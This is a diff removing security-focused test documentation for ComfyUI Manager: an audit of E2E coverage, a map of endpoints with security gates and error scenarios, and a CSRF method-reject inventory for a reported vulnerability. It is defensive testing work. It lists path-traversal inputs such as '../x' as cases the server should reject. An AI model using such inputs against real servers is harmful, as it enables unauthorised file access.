- **T3 IRREDUCIBLE-NA**: no test-observable artifact exists. Current items: none.
|
||||
|
||||
Re-reading all items currently categorized "intentionally skipped (destructive)":
|
||||
**CV3, SR5, V4 are T1, not N/A**, and have been promoted to NORMAL coverage tasks in
|
||||
the Key-gaps bullets above.
|
||||
|
||||
### WI-KK SECGATE Harness Design (audit-embedded propagation plan)
|
||||
|
||||
WI-KK (#182) landed two artifacts that fundamentally reshape the T2 backlog:
|
||||
|
||||
1. **`tests/e2e/scripts/start_comfyui_strict.sh`** — a strict-mode ComfyUI launcher
|
||||
that patches `user/__manager/config.ini` to `security_level=strong`, leaves a
|
||||
`.before-strict` backup, and starts the server on the E2E port. Pair this with
|
||||
a module-scoped fixture that restores the backup in teardown (the model shown
|
||||
in `test_e2e_secgate_strict.py`) and any middle/middle+ gate becomes testable.
|
||||
2. **Research finding** (WI-KK #183): `security_utils.py` L14–40 returns
|
||||
`security_level in [WEAK, NORMAL_]` for the high+ check. Under `is_local_mode=True`
|
||||
(our 127.0.0.1 default), `security_level=normal` is NOT in that set, so high+
|
||||
operations return False → 403 **at the default config, no harness needed**.
|
||||
|
||||
Combining these two insights, the original "8 T2 SECGATE-PENDING Goals, harness
|
||||
should land as one cross-cutting item" collapses into a 4-sub-tier structure:
|
||||
|
||||
| WI-KK sub-tier | Goals | Test infrastructure | Status after WI-LL |
|
||||
|---|---|---|---|
|
||||
| T2-RESOLVED | SR4, CV4 | `test_e2e_secgate_strict.py` + `test_e2e_secgate_default.py` | PASS rows landed (§20, §21) |
|
||||
| T2-pending (harness-ready) | SR6, V5, UA2 | Same strict fixture as SR4 — mechanical addition | Deferred to a follow-up PR (low lift) |
|
||||
| NORMAL-legacy | LGU2, LPP2 | `start_comfyui_legacy.sh` (exists via WI-FF) | Deferred to `test_e2e_secgate_legacy_default.py` follow-up |
|
||||
| T2-TASKLEVEL | IM4 | Queue-observation pattern (not HTTP 403) — pattern TBD | Open design question; not a simple mechanical add |
|
||||
|
||||
Propagation plan (post-PR):
|
||||
1. Land SR6, V5, UA2 in `test_e2e_secgate_strict.py` using the SR4 template; adds 3 PASS rows, brings this audit to 136/151 TOTAL.
|
||||
2. Create `test_e2e_secgate_legacy_default.py` for LGU2 + LPP2; +2 PASS → 138/153.
|
||||
3. Design the IM4 queue-observation pattern (distinct from the HTTP 403 pattern used in §20/§21); +1 PASS → 139/154. This item may be reclassified to T3 IRREDUCIBLE-NA if the observable turns out to be log-only.
|
||||
|
||||
---
|
||||
|
||||
# Conclusion
|
||||
|
||||
**100% of tests have adequate verification** (excluding N/A; denominator = 116 after WI-MM + WI-NN bloat reductions — WI-MM net -9 PASS / -2 N/A / -1 section row; WI-NN parametrize-consolidation net -9 PASS / -4 N/A). The ⚠️ WEAK bucket is now empty. **Zero INADEQUATE tests remain** after Stage2 WI-D + WI-F resolution; Stage3 WI-G closed the config_api disk/restart gap (§4: 6 WEAK → PASS). The three reconciliation waves closed every remaining WEAK:
|
||||
|
||||
- **Wave1** (WI-L/M/N): 10 WEAK → PASS across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + snapshot_lifecycle 1 WEAK → PASS, with 1 dedup via WI-M.
|
||||
- **Wave2** (WI-P/Q): 7 WEAK → PASS (task_operations 6 for update/fix effect + params; snapshot_lifecycle 1 for save_snapshot disk + content verification).
|
||||
- **Wave3** (WI-T/U/W): 10 WEAK → PASS. WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), and system_info (1) with field-level effect checks; WI-U Cluster H rewrote 3 legacy-ui Playwright specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions; WI-W fixed the TaskHistoryItem params-drop schema regression and re-enabled the skipped queue_lifecycle `history?id=...` test.
|
||||
|
||||
Cumulative Wave1+Wave2+Wave3 upgrade count: **27 WEAK → PASS** (10 + 7 + 10). Matrix delta across the three waves: PASS 54 → 94 (+40 including Stage2+Stage3 upstream), WEAK 36 → 0, INADEQUATE 5 → 0. WI-Z inventory reconciliation (Y1 + Y3) added 6 pre-existing PASS rows: PASS 94 → 100, total 109 → 115. WI-AA inventory reconciliation added 2 more pre-existing PASS rows (LB1/LB2): PASS 100 → 102, total 115 → 117. WI-GG added 26 per-invocation PASS rows for `test_e2e_csrf_legacy.py` (WI-FF deliverable): PASS 102 → 128, total 117 → 143. WI-JJ (FF-deferred items) added 3 legacy-side CSRF invocations for the 2 legacy install endpoints + `is_legacy_manager_ui` flag-value parity: PASS 128 → 131, total 143 → 146. WI-LL added 2 PASS rows for the WI-KK deliverables — SR4 via `test_e2e_secgate_strict.py` §20 and CV4 via `test_e2e_secgate_default.py` §21 — closing 2 of the 8 original T2 SECGATE-PENDING Goals and reclassifying the remaining 6 across 4 sub-tiers (see WI-KK SECGATE Harness Design block above): PASS 131 → 133, total 146 → 148.
|
||||
|
||||
- Check status code without verifying the actual effect (WEAK — 0%) ✅
|
||||
- Use direct API in UI tests (INADEQUATE — 0%) ✅
|
||||
- Are outside endpoint-effect scope (N/A — 15/148 ≈ 10.1% of total)
|
||||
|
||||
Remaining 🟢 gaps (not WEAK): ~~**SR3 snapshot-remove path-traversal**~~ (RESOLVED by WI-Z Y1 — `test_remove_path_traversal_rejected`) and **QH2 queue-history path-traversal** (destructive-safe security test, already present via `test_history_path_traversal_rejected` in queue_lifecycle § Key gaps). Design-Goal coverage gap (22/92 absent, 70/92 referenced) is tracked separately in § Design-Goal Coverage Gap and is not a test-quality issue.
|
||||
|
||||
Post-Wave3 + WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL state: **100% adequate coverage achieved** (133/133 PASS, excluding 15 N/A). Audit is in a terminal state for the current 148 tests. Further coverage expansion (design-Goal additions, the 3 T2-pending harness-ready Goals, NORMAL-legacy Goals, T2-TASKLEVEL IM4) is new-work territory — propagation plan is documented in the WI-KK SECGATE Harness Design block above — not reconciliation.
|
||||
|
||||
> **WI-Z + WI-AA + WI-GG + WI-JJ + WI-LL note**: Total test count 109 → 115 (WI-Z Y1 +1 snapshot, Y3 +5 config_api) → 117 (WI-AA +2 LB1/LB2) → 143 (WI-GG +26 legacy CSRF per-invocation rows) → 146 (WI-JJ +3 legacy-side install/parity rows) → 148 (WI-LL +2 SECGATE PoC rows) reflects inventory reconciliation plus WI-KK's newly-landed secgate coverage. Cumulative **upgrade** count remains 27 (unchanged since Wave3). WI-LL is the first audit-reflect WI to also introduce a Classification-policy reshape (T2 SECGATE-PENDING 8 → 4 sub-tiers), not just row additions.
|
||||
|
||||
---
|
||||
*End of E2E Verification Audit*
|
||||
@@ -1,427 +0,0 @@
|
||||
# Report A — Endpoint Extraction + Scenario Mapping
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Source files**:
|
||||
- `comfyui_manager/glob/manager_server.py` (glob v2 — primary/current API)
|
||||
- `comfyui_manager/legacy/manager_server.py` (legacy — `--enable-manager-legacy-ui`)
|
||||
|
||||
## Summary
|
||||
|
||||
| Category | Endpoints | Unique Scenarios |
|
||||
|---|---:|---:|
|
||||
| Glob v2 | 30 | 120 |
|
||||
| Legacy-only (not in glob) | 9 | 34 |
|
||||
| Legacy-shared (same path as glob) | 29 | — (see glob) |
|
||||
| **TOTAL unique HTTP handlers** | **39** | **154** |
|
||||
|
||||
Security-gated endpoints:
|
||||
- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
|
||||
- `middle+`: update_all, snapshot/restore, _install_custom_node, _install_model
|
||||
- `high+`: comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix_custom_node (raised from `high` to align the gate with the `SECURITY_MESSAGE_HIGH_P` log text — WI-#235; prior `middle` → `high` upgrade was commit `c8992e5d`)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — Glob v2 Endpoints (`comfyui_manager/glob/manager_server.py`)
|
||||
|
||||
## 1.1 Queue Management
|
||||
|
||||
### POST /v2/manager/queue/task
|
||||
- **Handler**: `queue_task` (L1218)
|
||||
- **Schema**: `QueueTaskItem` (Pydantic) — `{kind, ui_id, client_id, params}`
|
||||
- **Scenarios**:
|
||||
1. Success — valid task (kind=install/update/fix/disable/enable/uninstall/update_comfyui/install_model) → 200
|
||||
2. Validation error — malformed kind / missing ui_id / invalid params → 400 with ValidationError text
|
||||
3. Invalid JSON body → 500
|
||||
4. State: worker auto-starts when task added
|
||||
|
||||
### GET /v2/manager/queue/history_list
|
||||
- **Handler**: `get_history_list` (L1252)
|
||||
- **Scenarios**:
|
||||
1. Success — list of batch history file IDs (basename without .json) sorted by mtime desc → 200 `{ids: [...]}`
|
||||
2. Empty history directory → 200 `{ids: []}`
|
||||
3. History path inaccessible → 400
|
||||
|
||||
### GET /v2/manager/queue/history
|
||||
- **Handler**: `get_history` (L1281)
|
||||
- **Query**: `id` (batch file) | `client_id` | `ui_id` | `max_items` | `offset`
|
||||
- **Scenarios**:
|
||||
1. Success with `id=<batch_history_id>` → reads JSON file → 200
|
||||
2. Path-traversal attempt in `id` → 400 "Invalid history id"
|
||||
3. Filter by `ui_id` — returns single task history → 200 `{history: ...}`
|
||||
4. Filter by `client_id` — filters in-memory history dict → 200
|
||||
5. Pagination (`max_items`, `offset`) → 200 `{history: ...}`
|
||||
6. JSON serialization failure (in-memory TaskHistoryItem not serializable) → 400
|
||||
7. No query params — returns full current session history → 200
|
||||
|
||||
### POST /v2/manager/queue/reset
|
||||
- **Handler**: `reset_queue` (L1718)
|
||||
- **Scenarios**:
|
||||
1. Success — wipes pending + running + history → 200
|
||||
2. Idempotent — safe to call when queue already empty → 200
|
||||
|
||||
### GET /v2/manager/queue/status
|
||||
- **Handler**: `queue_count` (L1725)
|
||||
- **Query**: `client_id` (optional)
|
||||
- **Scenarios**:
|
||||
1. No filter — global counts (total/done/in_progress/pending, is_processing) → 200
|
||||
2. With `client_id` — response includes `client_id` echo + per-client counts → 200
|
||||
3. Unknown client_id — returns 0 counts with echo → 200
|
||||
|
||||
### POST /v2/manager/queue/start
|
||||
- **Handler**: `queue_start` (L1778)
|
||||
- **Scenarios**:
|
||||
1. Worker not running — starts worker → 200
|
||||
2. Worker already running → 201 (already in-progress)
|
||||
3. Empty queue — worker starts then idles → 200
|
||||
|
||||
### POST /v2/manager/queue/update_all
|
||||
- **Handler**: `update_all` (L1411)
|
||||
- **Security gate**: `middle+` → 403 otherwise
|
||||
- **Schema**: `UpdateAllQueryParams` — `{ui_id, client_id, mode?}`
|
||||
- **Scenarios**:
|
||||
1. Success — queues update tasks for all active nodes → 200 (synchronously; slow due to reload)
|
||||
2. Missing `ui_id`/`client_id` → 400 ValidationError
|
||||
3. Security blocked (level < middle+) → 403
|
||||
4. `mode=local` — uses local channel (no network)
|
||||
5. `mode=remote/cache` — fetches cached channel data
|
||||
6. Desktop version — skips comfyui-manager pack (reads `__COMFYUI_DESKTOP_VERSION__`)
|
||||
7. Empty node set — queues 0 tasks → 200
|
||||
|
||||
### POST /v2/manager/queue/update_comfyui
|
||||
- **Handler**: `update_comfyui` (L1791)
|
||||
- **Schema**: `UpdateComfyUIQueryParams` — `{client_id, ui_id, stable?}`
|
||||
- **Scenarios**:
|
||||
1. Success — queues `update-comfyui` task → 200
|
||||
2. Missing required params → 400 ValidationError
|
||||
3. `stable=true` — forces stable update regardless of config
|
||||
4. `stable=false` — forces nightly update
|
||||
5. No `stable` param — uses config policy (nightly-comfyui vs stable)
|
||||
|
||||
### POST /v2/manager/queue/install_model
|
||||
- **Handler**: `install_model` (L1875)
|
||||
- **Schema**: `ModelMetadata` (name, type, base, url, filename, save_path) + required `client_id` + `ui_id`
|
||||
- **Scenarios**:
|
||||
1. Success — valid request → queues `install-model` task → 200
|
||||
2. Missing `client_id` → 400 "Missing required field: client_id"
|
||||
3. Missing `ui_id` → 400 "Missing required field: ui_id"
|
||||
4. Invalid model metadata (missing name/url/filename) → 400 ValidationError
|
||||
5. Malformed JSON → 500
|
||||
|
||||
## 1.2 Custom Node Info
|
||||
|
||||
### GET /v2/customnode/getmappings
|
||||
- **Handler**: `fetch_customnode_mappings` (L1357)
|
||||
- **Query**: `mode` (required: local|cache|remote|nickname)
|
||||
- **Scenarios**:
|
||||
1. Success — returns `{pack_id: [node_list, metadata]}` dict → 200
|
||||
2. `mode=nickname` — applies nickname_filter → 200
|
||||
3. Missing `mode` → KeyError → 500
|
||||
4. Invalid `mode` value → may raise from get_data_by_mode → 400/500
|
||||
5. Missing nodes matched by `nodename_pattern` regex are appended
|
||||
|
||||
### GET /v2/customnode/fetch_updates
|
||||
- **Handler**: `fetch_updates` (L1393)
|
||||
- **Scenarios**:
|
||||
1. Always returns **410 Gone** with `{deprecated: true}` — deprecated endpoint
|
||||
2. Client should migrate to queue/update-based flow
|
||||
|
||||
### GET /v2/customnode/installed
|
||||
- **Handler**: `installed_list` (L1500)
|
||||
- **Query**: `mode` (default|imported)
|
||||
- **Scenarios**:
|
||||
1. Default mode — current installed packs snapshot → 200 dict
|
||||
2. `mode=imported` — startup-time installed packs (frozen snapshot) → 200
|
||||
3. Empty custom_nodes dir → 200 `{}`
|
||||
|
||||
### POST /v2/customnode/import_fail_info
|
||||
- **Handler**: `import_fail_info` (L1623)
|
||||
- **Body**: `{cnr_id?, url?}` — one required
|
||||
- **Scenarios**:
|
||||
1. Known failed pack via `cnr_id` — returns `{msg, traceback}` → 200
|
||||
2. Known failed pack via `url` — returns info → 200
|
||||
3. Unknown pack → 400 (no failure info available)
|
||||
4. Missing both cnr_id and url → 400 "Either 'cnr_id' or 'url' field is required"
|
||||
5. `cnr_id` not a string → 400 "'cnr_id' must be a string"
|
||||
6. Non-dict body → 400 "Request body must be a JSON object"
|
||||
|
||||
### POST /v2/customnode/import_fail_info_bulk
|
||||
- **Handler**: `import_fail_info_bulk` (L1657)
|
||||
- **Schema**: `ImportFailInfoBulkRequest` — `{cnr_ids: [], urls: []}`
|
||||
- **Scenarios**:
|
||||
1. Success with `cnr_ids` list — returns `{cnr_id: {error, traceback}|null}` → 200
|
||||
2. Success with `urls` list — returns `{url: {error, traceback}|null}` → 200
|
||||
3. Both lists empty → 400 "Either 'cnr_ids' or 'urls' field is required"
|
||||
4. Validation error (wrong types) → 400
|
||||
5. Each unknown pack → `null` in results dict (not an error)
|
||||
|
||||
## 1.3 Snapshots
|
||||
|
||||
### GET /v2/snapshot/getlist
|
||||
- **Handler**: `get_snapshot_list` (L1512)
|
||||
- **Scenarios**:
|
||||
1. Success — list of snapshot file stems (basename minus .json), sorted desc → 200 `{items: [...]}`
|
||||
2. Empty snapshot dir → 200 `{items: []}`
|
||||
|
||||
### GET /v2/snapshot/get_current
|
||||
- **Handler**: `get_current_snapshot_api` (L1575)
|
||||
- **Scenarios**:
|
||||
1. Success — returns current system state dict → 200
|
||||
2. Internal failure → 400
|
||||
|
||||
### POST /v2/snapshot/save
|
||||
- **Handler**: `save_snapshot` (L1585)
|
||||
- **Scenarios**:
|
||||
1. Success — creates timestamped snapshot file → 200
|
||||
2. Internal failure → 400
|
||||
3. Multiple rapid saves — each creates distinct timestamped file
|
||||
|
||||
### POST /v2/snapshot/remove
|
||||
- **Handler**: `remove_snapshot` (L1521)
|
||||
- **Security gate**: `middle` → 403
|
||||
- **Query**: `target` (snapshot file stem)
|
||||
- **Scenarios**:
|
||||
1. Success — removes existing file → 200
|
||||
2. Nonexistent target — 200 (no-op)
|
||||
3. Path traversal (`../x`) → 400 "Invalid target"
|
||||
4. Missing `target` query → exception → 400
|
||||
5. Security blocked (level < middle) → 403
|
||||
|
||||
### POST /v2/snapshot/restore
|
||||
- **Handler**: `restore_snapshot` (L1543)
|
||||
- **Security gate**: `middle+` → 403
|
||||
- **Query**: `target`
|
||||
- **Scenarios**:
|
||||
1. Success — copies snapshot to startup script path (applied on next reboot) → 200
|
||||
2. Nonexistent target → 400
|
||||
3. Path traversal → 400 "Invalid target"
|
||||
4. Security blocked → 403
|
||||
|
||||
## 1.4 Configuration
|
||||
|
||||
### GET /v2/manager/db_mode
|
||||
- **Handler**: `db_mode` (L1907)
|
||||
- **Scenarios**: Returns plain text current value ∈ {cache, channel, local, remote} → 200
|
||||
|
||||
### POST /v2/manager/db_mode
|
||||
- **Handler**: `set_db_mode_api` (L1912)
|
||||
- **Body**: `{value: <mode>}`
|
||||
- **Scenarios**:
|
||||
1. Valid value — persists to config.ini → 200
|
||||
2. Malformed JSON → 400 "Invalid request"
|
||||
3. Missing `value` key → 400 KeyError
|
||||
|
||||
### GET /v2/manager/policy/update
|
||||
- **Handler**: `update_policy` (L1923)
|
||||
- **Scenarios**: Returns plain text value ∈ {stable, stable-comfyui, nightly, nightly-comfyui} → 200
|
||||
|
||||
### POST /v2/manager/policy/update
|
||||
- **Handler**: `set_update_policy_api` (L1928)
|
||||
- **Body**: `{value: <policy>}`
|
||||
- **Scenarios**:
|
||||
1. Valid value → persists config → 200
|
||||
2. Malformed JSON / missing value → 400
|
||||
|
||||
### GET /v2/manager/channel_url_list
|
||||
- **Handler**: `channel_url_list` (L1939)
|
||||
- **Scenarios**:
|
||||
1. Success — `{selected: name, list: ["name::url", ...]}` → 200
|
||||
2. Selected URL doesn't match any channel → `selected="custom"`
|
||||
|
||||
### POST /v2/manager/channel_url_list
|
||||
- **Handler**: `set_channel_url` (L1954)
|
||||
- **Body**: `{value: <channel_name>}`
|
||||
- **Scenarios**:
|
||||
1. Known channel name → persists new URL → 200
|
||||
2. Unknown channel name → no-op → 200 (silent)
|
||||
3. Malformed JSON / missing value → 400
|
||||
|
||||
## 1.5 System
|
||||
|
||||
### GET /v2/manager/is_legacy_manager_ui
|
||||
- **Handler**: `is_legacy_manager_ui` (L1487)
|
||||
- **Scenarios**: Returns `{is_legacy_manager_ui: bool}` reflecting `--enable-manager-legacy-ui` flag → 200
|
||||
|
||||
### GET /v2/manager/version
|
||||
- **Handler**: `get_version` (L2009)
|
||||
- **Scenarios**: Returns plain text `core.version_str` → 200
|
||||
|
||||
### POST /v2/manager/reboot
|
||||
- **Handler**: `restart` (L1968)
|
||||
- **Security gate**: `middle` → 403
|
||||
- **Scenarios**:
|
||||
1. Success — triggers server process restart via execv → 200 (connection may drop)
|
||||
2. `__COMFY_CLI_SESSION__` env set — writes reboot marker + exit(0) instead of execv
|
||||
3. Desktop/Windows standalone variant — removes flag before restart
|
||||
4. Security blocked → 403
|
||||
|
||||
## 1.6 ComfyUI Version Management
|
||||
|
||||
### GET /v2/comfyui_manager/comfyui_versions
|
||||
- **Handler**: `comfyui_versions` (L1825)
|
||||
- **Scenarios**:
|
||||
1. Success — `{versions: [...], current: "<tag or hash>"}` → 200
|
||||
2. Git access failure → 400
|
||||
|
||||
### POST /v2/comfyui_manager/comfyui_switch_version
|
||||
- **Handler**: `comfyui_switch_version` (L1840)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Schema**: `ComfyUISwitchVersionParams` — `{ver, client_id, ui_id}` (JSON body; renamed in WI #261, migrated from query string in WI #258)
|
||||
- **Scenarios**:
|
||||
1. Success — queues update-comfyui task with target_version → 200
|
||||
2. Missing `ver`/`client_id`/`ui_id` → 400 ValidationError (JSON with `error` field)
|
||||
3. Security blocked → 403
|
||||
4. Internal exception → 400
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Legacy-Only Endpoints (`comfyui_manager/legacy/manager_server.py`)
|
||||
|
||||
Endpoints in this section exist **only in the legacy server** (not registered in glob). They are served when `--enable-manager-legacy-ui` is set.
|
||||
|
||||
### POST /v2/manager/queue/batch
|
||||
- **Handler**: `queue_batch` (L740)
|
||||
- **Body**: dict with keys ∈ {update_all, reinstall, install, uninstall, update, update_comfyui, disable, install_model, fix}, each with a list of per-pack payloads
|
||||
- **Scenarios**:
|
||||
1. Success with single kind (e.g. install) → appends to temp_queue_batch, finalizes, starts worker → 200 `{failed: []}`
|
||||
2. Mixed kinds in one batch — processes each sequentially
|
||||
3. Partial failure — some packs fail internally → 200 `{failed: [...ids]}`
|
||||
4. `update_all` with mode — runs legacy update_all flow inline
|
||||
5. `reinstall` — uninstall then install per pack; uninstall failure skips install
|
||||
6. `disable` — no security check inside `_disable_node`
|
||||
7. `install` with security gate fail → failed set entry
|
||||
8. Empty body `{}` → 200 `{failed: []}`
|
||||
|
||||
### GET /v2/customnode/getlist
|
||||
- **Handler**: `fetch_customnode_list` (L1018)
|
||||
- **Query**: `mode` (required), `skip_update?` (bool string)
|
||||
- **Scenarios**:
|
||||
1. Success — returns `{channel, node_packs}` with installed/update state populated → 200
|
||||
2. `skip_update=true` — skips git update check (faster)
|
||||
3. Removes comfyui-manager self-entry from results
|
||||
4. Channel lookup resolves to 'default'/'custom'/known name
|
||||
|
||||
### GET /customnode/alternatives
|
||||
- **Handler**: `fetch_customnode_alternatives` (L1072)
|
||||
- **Query**: `mode` (required)
|
||||
- **Scenarios**:
|
||||
1. Success — alter-list.json items keyed by id → 200
|
||||
|
||||
### GET /v2/externalmodel/getlist
|
||||
- **Handler**: `fetch_externalmodel_list` (L1143)
|
||||
- **Query**: `mode` (required)
|
||||
- **Scenarios**:
|
||||
1. Success — model-list.json with `installed` flag populated per file → 200
|
||||
2. HuggingFace sentinel filename — resolves from URL basename
|
||||
3. Custom save_path — checks under models/<save_path>
|
||||
|
||||
### GET /v2/customnode/versions/{node_name}
|
||||
- **Handler**: `get_cnr_versions` (L1262)
|
||||
- **Path param**: `node_name`
|
||||
- **Scenarios**:
|
||||
1. Known CNR pack — returns version list → 200
|
||||
2. Unknown pack — 400
|
||||
|
||||
### GET /v2/customnode/disabled_versions/{node_name}
|
||||
- **Handler**: `get_disabled_versions` (L1273)
|
||||
- **Scenarios**:
|
||||
1. Pack has nightly_inactive entry → version list includes "nightly"
|
||||
2. Pack has cnr_inactive entries → versions list
|
||||
3. No disabled versions → 400
|
||||
|
||||
### POST /v2/customnode/install/git_url
|
||||
- **Handler**: `install_custom_node_git_url` (L1502)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Body**: plain text URL
|
||||
- **Scenarios**:
|
||||
1. Success install → 200
|
||||
2. Already installed (skip action) → 200
|
||||
3. Clone failure → 400
|
||||
4. Security blocked → 403
|
||||
|
||||
### POST /v2/customnode/install/pip
|
||||
- **Handler**: `install_custom_node_pip` (L1522)
|
||||
- **Security gate**: `high+` → 403
|
||||
- **Body**: plain text space-separated packages
|
||||
- **Scenarios**:
|
||||
1. Success — pip install completes → 200
|
||||
2. Security blocked → 403
|
||||
|
||||
### GET /v2/manager/notice
|
||||
- **Handler**: `get_notice` (L1747)
|
||||
- **Scenarios**:
|
||||
1. Success — fetches GitHub wiki News, returns HTML → 200
|
||||
2. GitHub unreachable / non-200 → 200 "Unable to retrieve Notice" (plain text)
|
||||
3. No markdown-body div matched → 200 "Unable to retrieve Notice"
|
||||
4. Appends ComfyUI/Manager version footer
|
||||
5. Desktop variant — uses `__COMFYUI_DESKTOP_VERSION__`
|
||||
6. Non-git ComfyUI — prepends "Your ComfyUI isn't git repo" warning
|
||||
7. Outdated ComfyUI (required_commit_datetime > current) — prepends "too OUTDATED" warning
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Legacy-Shared Endpoints
|
||||
|
||||
These paths exist in BOTH glob and legacy files (29 endpoints). Semantics are typically equivalent but implementation may differ; see glob scenarios above. Notable differences:
|
||||
|
||||
- **queue/status** (L1379 legacy) — counts from `task_batch_queue[0]` (first batch only), not aggregated across batches like glob
|
||||
- **queue/start** (L1465 legacy) — calls `finalize_temp_queue_batch()` first, then starts worker thread
|
||||
- **update_all** (L904 legacy) — returns 401 if worker already running; auto-saves snapshot; uses temp_queue_batch instead of QueueTaskItem
|
||||
- **update_comfyui** (L1572 legacy) — no params; reads config.update_policy directly; always returns 200
|
||||
- **reboot** (L1796 legacy) — identical behavior to glob
|
||||
- **history** (L819 legacy) — only supports `id` query (no client_id/ui_id/pagination)
|
||||
- **import_fail_info** (L1289 legacy) — no basic dict validation; assumes cnr_id/url present (KeyError otherwise)
|
||||
|
||||
---
|
||||
|
||||
# Security Level Matrix
|
||||
|
||||
| Level | Glob endpoints | Legacy endpoints |
|
||||
|---|---|---|
|
||||
| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
|
||||
| **middle+** | update_all, snapshot/restore, install_model | update_all, snapshot/restore, _install_custom_node, _install_model |
|
||||
| **high+** | comfyui_switch_version, _fix_custom_node | comfyui_switch_version, install/git_url, install/pip, non-safetensors model install, _fix |
|
||||
|
||||
> Note: `_fix` / `_fix_custom_node` security-level history: `middle` → `high` in commit `c8992e5d` (2026-04-04, which also added a previously-missing gate to the legacy handler); subsequent `high` → `high+` in WI-#235 to align the enforcement gate with the `SECURITY_MESSAGE_HIGH_P` log text (and tighten the gate for a state-mutating fix path). README 'Risky Level Table' has been updated in lockstep.
|
||||
|
||||
# Deprecated / Removed
|
||||
|
||||
- **GET /v2/customnode/fetch_updates** — glob returns 410; legacy still attempts fetch (may succeed but deprecated in concept)
|
||||
- **Individual queue/{install,uninstall,update,fix,disable,reinstall,abort_current}** — removed from legacy in recent work (replaced by queue/batch aggregator)
|
||||
- **GET /manager/notice** (v1, no /v2 prefix) — removed from legacy
|
||||
|
||||
---
|
||||
|
||||
# CSRF Method-Reject Contract Inventory
|
||||
|
||||
**Purpose**: Enumerate the 16 state-changing endpoints that must reject HTTP `GET` after commit `99caef55` (CSRF method-conversion mitigation; CVSS 8.1, reported by XlabAI / Tencent Xuanwu). This inventory supplements `verification_design.md` Section 10 (Goals CSRF-M1 / M2 / M3) and is the authoritative cross-reference for the contract enforced by `tests/e2e/test_e2e_csrf.py`.
|
||||
|
||||
**Data Source**: `tests/e2e/test_e2e_csrf.py::STATE_CHANGING_POST_ENDPOINTS` (L92-L109). Pre-99caef55 methods derived from `git log -S` history and the commit body of 99caef55. Security Level column cross-references the Security Level Matrix (§ above, L378-L382).
|
||||
|
||||
| # | Endpoint | Pre-99caef55 Method | Post-99caef55 Method | Security Level | Test Reference |
|
||||
|---|----------|---------------------|----------------------|----------------|----------------|
|
||||
| 1 | `/v2/manager/queue/start` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/start]` |
|
||||
| 2 | `/v2/manager/queue/reset` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/reset]` |
|
||||
| 3 | `/v2/manager/queue/update_all` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_all]` |
|
||||
| 4 | `/v2/manager/queue/update_comfyui` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/update_comfyui]` |
|
||||
| 5 | `/v2/manager/queue/install_model` | POST | POST (pre-existing) | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/install_model]` |
|
||||
| 6 | `/v2/manager/queue/task` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/queue/task]` |
|
||||
| 7 | `/v2/snapshot/save` | GET | POST | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/save]` |
|
||||
| 8 | `/v2/snapshot/remove` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/remove]` |
|
||||
| 9 | `/v2/snapshot/restore` | GET | POST | middle+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/snapshot/restore]` |
|
||||
| 10 | `/v2/manager/reboot` | GET | POST | middle | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/reboot]` |
|
||||
| 11 | `/v2/comfyui_manager/comfyui_switch_version` | GET | POST | high+ | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/comfyui_manager/comfyui_switch_version]` |
|
||||
| 12 | `/v2/manager/db_mode` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/db_mode]` |
|
||||
| 13 | `/v2/manager/policy/update` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/policy/update]` |
|
||||
| 14 | `/v2/manager/channel_url_list` | GET (dual) | POST (write); GET preserved for read | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/manager/channel_url_list]` |
|
||||
| 15 | `/v2/customnode/import_fail_info` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info]` |
|
||||
| 16 | `/v2/customnode/import_fail_info_bulk` | POST | POST (pre-existing) | default | `TestStateChangingEndpointsRejectGet::test_get_is_rejected[/v2/customnode/import_fail_info_bulk]` |
|
||||
|
||||
**Conversion Breakdown** (reconciles commit 99caef55 body with 16-row fixture):
|
||||
- **Pure GET → POST conversions**: 9 endpoints (rows 1-4, 7-11) — confirmed write-only operations formerly exposed via GET.
|
||||
- **Dual-method endpoints** (GET + POST coexist after fix): 3 endpoints (rows 12-14) — the POST variant carries write semantics; GET preserved for read-only retrieval and is covered by Goal CSRF-M3.
|
||||
- **Pre-existing POST endpoints** (included in the fixture for contract completeness): 4 endpoints (rows 5-6, 15-16) — these were already POST before 99caef55 but remain part of the CSRF rejection contract so any future regression to GET is caught.
|
||||
|
||||
**Scope Note**: This inventory narrowly documents the method-restriction layer. Complementary CSRF defenses (Origin/Referer validation, same-site cookies, anti-CSRF tokens, cross-site form POST rejection) are out of scope for this contract and tracked in `verification_design.md` § 10.2.
|
||||
|
||||
---
|
||||
*End of Report A*
|
||||
@@ -1,104 +0,0 @@
|
||||
# Legacy UI — Channel Combo DOM Mapping Note
|
||||
|
||||
**Date**: 2026-04-20
|
||||
